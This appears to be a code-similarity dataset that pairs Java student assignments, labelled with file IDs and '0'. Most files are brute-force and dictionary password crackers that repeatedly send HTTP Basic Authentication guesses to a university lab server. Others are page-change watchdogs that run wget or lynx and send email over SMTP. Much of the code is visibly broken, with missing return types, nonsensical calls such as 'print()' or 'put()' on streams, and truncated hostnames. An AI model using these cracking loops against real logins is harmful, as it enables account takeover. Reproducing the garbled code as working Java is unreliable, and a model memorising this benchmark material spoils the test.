numBytes); out.println("QUIT"); client.connect(); } catch(IOException ioe) { System.out.println("Couldn't make connection:" + ioe); } } public static void main( String[] args) { Vector v = new Vector(); v.add( new Integer(5)); v.add( new Integer(12)); MailClient c = new MailClient( "mail.cs.rmit.edu.", 25, v); c.connect(); } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
095.java
182.java
0
import java.net.*; import java.io.*; import java.util.*; import java.text.*; public class WatchDog extends Thread { private HttpURLConnection httpUrlCon; private URL stdurl; private String spec = "http://www.cs.rmit.edu./students/"; private String command=""; private String firstModified =""; private String secModified = ""; private String fileModified = ""; private BufferedReader instd; private Vector firstVector; private Vector secondVector; private Vector tmpVector; private int intervalTime = 24*60*60*1000; private boolean bstop = false; private int count = 0; private int totalDuration = 30*24*60*60*1000; private String yourSMTPserver = "mail.rmit.edu."; private int smtpPort = 25; private String mailFrom = "@yallara.cs.rmit.edu."; private String mailTo = "@.rmit.edu."; private String subject = ""; private String message =""; private Socket socketsmtp; private BufferedReader emailin; private PrintStream emailout; private String reply = ""; public WatchDog(){ firstVector = new Vector(); secondVector = new Vector(); tmpVector = new Vector(); } public void FirstRead(){ readContent(firstVector); firstModified = fileModified; } public void run(){ while(!bstop){ readPageAgain(); } } public void readPageAgain(){ try{ Thread.sleep(intervalTime); }catch(InterruptedException e){e.printStackTrace();} count += intervalTime; readContent(secondVector); secModified = fileModified; if(firstModified.equals(secModified)){ if(count == totalDuration) bstop =true; message = "After " + (double)intervalTime/(60*60*1000) + " hours is change!"; subject = " is change the web "; try{ doSendMail(mailFrom, mailTo, subject, message); }catch (SMTPException e){} } else if(!(firstModified.equals(secModified))){ if(count == totalDuration) bstop = true; message = getChangeMessage(); subject = " some changes the web "; try{ doSendMail(mailFrom, mailTo, subject, message); }catch(SMTPException e){} firstModified = secModified; firstVector.clear(); for(int i=0; i<secondVector.size(); i++){ firstVector.add((String)secondVector.get(i)); } } } public void readContent(Vector avect){ String fmod =""; if(spec.indexOf("http://www.cs.rmit.edu./")!=-1){ fmod = "File last modified :"; command = "lynx -nolist -dump " + spec; } else { fmod = "Last-Modified:"; command ="lynx -mime_header -dump " +spec; } try{ Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); instd = new BufferedReader(new InputStreamReader(p.getInputStream())); String str=null; avect.clear(); while((str = instd.readLine())!= null){ avect.add(str); if(str.indexOf(fmod) !=-1){ fileModified = str; } } instd.print(); }catch(MalformedURLException e){System.out.println(e.getMessage());} catch(IOException e1){System.out.println(e1.getMessage());} } public String getChangeMessage(){ String mssg = ""; for(int i =0; i<secondVector.size();i++){ tmpVector.add((String)secondVector.get(i)); } for(int i=0; i<firstVector.size(); i++){ String line = (String)(firstVector.get(i)); int same = 0; for(int j=0; j<tmpVector.size(); j++){ String newline = (String)(tmpVector.get(j)); if(line.equals(newline)){ if(same == 0){ tmpVector.remove(j); same++; } } } } for(int i = 0; i<secondVector.size(); i++){ String line = (String)(secondVector.get(i)); int same =0; for(int j=0; j<firstVector.size(); j++){ String newline = (String)(firstVector.get(j)); if(line.equals(newline)){ if(same == 0){ firstVector.remove(j); same++; } } } } if(firstVector.size()!=0){ mssg += "The following lines removed in the latest modified web : \r\n"; for(int i=0; i<firstVector.size(); i++){ mssg +=(String)firstVector.get(i) + "\r\n"; } } if(tmpVector.size()!=0){ mssg += "The following lines new ones in the latest modified web : \r\n"; for(int i=0; i<tmpVector.size(); i++){ mssg += (String)tmpVector.get(i) + "\r\n"; } } return mssg; } public void setMonitorURL(String url){ spec = url; } public void setMonitorDuration(int t){ totalDuration = t*60*60*1000; } public void setMonitorInterval(int intervalMinutes){ intervalTime = intervalMinutes*60*1000; } public void setSMTPServer(String server){ yourSMTPserver = server; } public void setSMTPPort(int port){ smtpPort = port; } public void setMailFrom(String mfrom){ mailFrom = mfrom; } public void setMailTo(String mto){ mailTo = mto; } public String getMonitorURL(){ return spec; } public getDuration(){ return totalDuration; } public getInterval(){ return intervalTime; } public String getSMTPServer(){ return yourSMTPserver; } public int getPortnumber(){ return smtpPort; } public String getMailFrom(){ return mailFrom; } public String getMailTo(){ return mailTo; } public String getServerReply() { return reply; } public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{ connect(); doHail(mfrom, mto); doSendMessage(mfrom, mto, subject, msg); doQuit(); } public void connect() throws SMTPException { try { socketsmtp = new Socket(yourSMTPserver, smtpPort); emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream())); emailout = new PrintStream(socketsmtp.getOutputStream()); reply = emailin.readLine(); if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {} else { throw new SMTPException("Error connecting SMTP server " + yourSMTPserver + " port " + smtpPort); } }catch(Exception e) { throw new SMTPException(e.getMessage());} } public void doHail(String mfrom, String mto) throws SMTPException { if (doCommand("HELO " + yourSMTPserver)) throw new SMTPException("HELO command Error."); if (doCommand("MAIL FROM: " + mfrom)) throw new SMTPException("MAIL command Error."); if (doCommand("RCPT : " + mto)) throw new SMTPException("RCPT command Error."); } public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException { Date date = new Date(); Locale locale = new Locale("",""); String pattern = "hh:mm: a',' dd-MMM-yyyy"; SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale); formatter.setTimeZone(TimeZone.getTimeZone("Australia/Melbourne")); String sendDate = formatter.format(date); if (doCommand("DATA")) throw new SMTPException("DATA command Error."); String header = "From: " + mfrom + "\r\n"; header += ": " + mto + "\r\n"; header += "Subject: " + subject + "\r\n"; header += "Date: " + sendDate+ "\r\n\r\n"; if (doCommand(header + msg + "\r\n.")) throw new SMTPException("Mail Transmission Error."); } public boolean doCommand(String commd) throws SMTPException { try { emailout.print(commd + "\r\n"); reply = emailin.readLine(); if (reply.charAt(0) == '4' || reply.charAt(0) == '5') return true; else return false; }catch(Exception e) {throw new SMTPException(e.getMessage());} } public void doQuit() throws SMTPException { try { if (doCommand("Quit")) throw new SMTPException("QUIT Command Error"); emailin.put(); emailout.flush(); emailout.send(); socketsmtp.put(); }catch(Exception e) { } } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
084.java
182.java
0
import java.Thread; import java.io.*; import java.net.*; public class BruteForce extends Thread { final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'}; final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; BruteForce parent; public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; starttime = System.currentTimeMillis(); for(int i=0; i<CHARACTERS.length && !parent.solved; i++) { for(int j=0; j<CHARACTERS.length && !parent.solved; j++) { for(int k=0; k<CHARACTERS.length && !parent.solved; k++) { if((x % threads) == threadno) { response = tryLogin(CHARACTERS[i] + "" + CHARACTERS[j] + CHARACTERS[k]); if(response == SUCCESS) { System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]); parent.solved = true; } if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]+")"); } x++; } } } if(response == SUCCESS) { System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec."); System.out.println("Thread . " + threadno + " was the one!"); } } public static void main (String[] args) { BruteForce parent; BruteForce[] attackslaves = new BruteForce[10]; if(args.length == 3) { host = args[0]; path = args[1]; user = args[2]; } else { System.out.println("Usage: BruteForce <host> <path> <user>"); System.out.println(" arguments specified, using standard values."); host = "sec-crack.cs.rmit.edu."; path = "/SEC/2/index.php"; user = ""; } System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user); System.out.println("Using " + attackslaves.length + " happy threads..."); parent = new BruteForce(host, path, user, 0, 0, null); for(int i=0; i<attackslaves.length; i++) { attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent); } for(int i=0; i<attackslaves.length; i++) { attackslaves[i].print(); } } private int tryLogin(String password) { int success = -1; try { data = new byte[12]; target = new Socket(host, 80); input = target.getInputStream(); output = target.getOutputStream(); String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes()); output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes()); output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes()); input.print(data); if(new String(data).endsWith("401")) success=0; if(new String(data).endsWith("200")) success=1; } catch(Exception e) { System.out.println(e.getClass().getName() + ": " + e.getMessage()); } return success; } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
115.java
182.java
0
import java.net.*; import java.util.*; import java.io.*; public class PasswordTest { private String strURL; private String strUsername; private String strPassword; public PasswordTest(String url, String username, String password) { strURL = url; strUsername = username; strPassword = password; } boolean func() { boolean result = false; Authenticator.setDefault (new MyAuthenticator ()); try { URL url = new URL(strURL); HttpURLConnection urlConn = (HttpURLConnection)url.openConnection(); urlConn.connect(); if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) { result = true; } } catch (IOException e) {} return result; } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = strUsername; String password = strPassword; return new PasswordAuthentication(username, password.toCharArray()); } } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
233.java
182.java
0
import java.util.*; import java.io.*; import java.*; public class Dogs5 { public static void main(String [] args) throws Exception { executes("rm index.*"); executes("wget http://www.cs.rmit.edu./students"); while (true) { String addr= "wget http://www.cs.rmit.edu./students"; executes(addr); String hash1 = md5sum("index.html"); String hash2 = md5sum("index.html.1"); System.out.println(hash1 +"|"+ hash2); BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt")); String line=" " ; String line1=" " ; String line2=" "; String line3=" "; String[] cad = new String[10]; executes("./.sh"); int i=0; while ((line = buf.readLine()) != null) { line1="http://www.cs.rmit.edu./students/images"+line; if (i==1) line2="http://www.cs.rmit.edu./students/images"+line; if (i==2) line3="http://www.cs.rmit.edu./students/images"+line; i++; } System.out.println(line1+" "+line2+" "+line3); executes("wget "+line1); executes("wget "+line2); executes("wget "+line3); String hash3 = md5sum("index.html.2"); String hash4 = md5sum("index.html.3"); String hash5 = md5sum("index.html.4"); BufferedReader buf2 = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt")); String linee=" " ; String linee1=" " ; String linee2=" "; String linee3=" "; executes("./ip1.sh"); int j=0; while ((linee = buf2.readLine()) != null) { linee1="http://www.cs.rmit.edu./students/images"+linee; if (j==1) linee2="http://www.cs.rmit.edu./students/images"+linee; if (j==2) linee3="http://www.cs.rmit.edu./students/images"+linee; j++; } System.out.println(line1+" "+line2+" "+line3); executes("wget "+linee1); executes("wget "+linee2); executes("wget "+linee3); String hash6 = md5sum("index.html.5"); String hash7 = md5sum("index.html.6"); String hash8 = md5sum("index.html.7"); boolean pict=false; if (hash3.equals(hash6)) pict=true; boolean pict2=false; if (hash3.equals(hash6)) pict2=true; boolean pict3=false; if (hash3.equals(hash6)) pict3=true; if (hash1.equals(hash2)) { executes("./difference.sh"); executes("./mail.sh"); } else { if (pict || pict2 || pict3) { executes(".~/Assign2/difference.sh"); executes(".~/Assign2/mail2.sh"); } executes(".~/Assign2/difference.sh"); executes(".~/Assign2/mail.sh"); executes("./reorder.sh"); executes("rm index.html"); executes("cp index.html.1 index.html"); executes("rm index.html.1"); executes("sleep 5"); } } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream())); String cad; while(( cad = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String cad; String hash= " "; Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash", "-c", "md5sum "+file }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream())); while((bf = cad.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
086.java
182.java
0
import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; int attempts = 0; exit: for (int i=0;i<pwdArray.length;i++) { for (int j=0;j<pwdArray.length;j++) { for (int k=0;k<pwdArray.length;k++) { if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue; if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue; inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k]; attempts++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempts); break exit; } inp[2] = ""; } } } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return " " + base64Encode (username + ":" + password); } private final static char pwdArray [] = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' ' }; private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return encodedString; } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
153.java
182.java
0
import java.io.*; import java.net.*; public class BruteForce { public static void main(String[] args) { BruteForce brute=new BruteForce(); brute.start(); } public void start() { char passwd[]= new char[3]; String password; String username=""; String auth_data; String server_res_code; String required_server_res_code="200"; int cntr=0; try { URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection conn=null; for (int i=65;i<=122;i++) { if(i==91) { i=i+6; } passwd[0]= (char) i; for (int j=65;j<=122;j++) { if(j==91) { j=j+6; } passwd[1]=(char) j; for (int k=65;k<=122;k++) { if(k==91) { k=k+6; } passwd[2]=(char) k; password=new String(passwd); password=password.trim(); auth_data=null; auth_data=username + ":" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1"); conn.setRequestProperty ("Authorization", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code); if( server_res_code.compareTo(required_server_res_code)==0 ) {System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code ); i=j=k=123;} } } } } catch (Exception e) { System.err.print(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = ""; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return " " + encodedString; } }
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
150.java
182.java
0
import java.net.*; import java.io.*; import java.util.Date; public class Dictionary{ private static String password=" "; public static void main(String[] args) { String Result=""; if (args.length<1) { System.out.println("Correct Format Filename username e.g<>"); System.exit(1); } Dictionary dicton1 = new Dictionary(); Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result); } private String Dict(String urlString,String username) { int cnt=0; FileInputStream stream=null; DataInputStream word=null; try{ stream = new FileInputStream ("/usr/share/lib/dict/words"); word =new DataInputStream(stream); t0 = System.currentTimeMillis(); while (word.available() !=0) { password=word.readLine(); if (password.length()!=3) { continue; } System.out.print("crackin...:"); System.out.print("\b\b\b\b\b\b\b\b\b\b\b" ); URL url = new URL (urlString); String userPassword=username+":"+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc = url.openConnection(); conc.setRequestProperty ("Authorization", " " + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("The Number Of Attempts : "+cnt); t1 = System.currentTimeMillis(); net=t1-t0; System.out.println("Total Time in secs..."+net/1000); return password; } } } catch (Exception e ) { e.printStackTrace(); } try { word.close(); stream.close(); } catch (IOException e) { System.out.println("Error in closing input file:\n" + e.toString()); } return "Password could not found"; } }
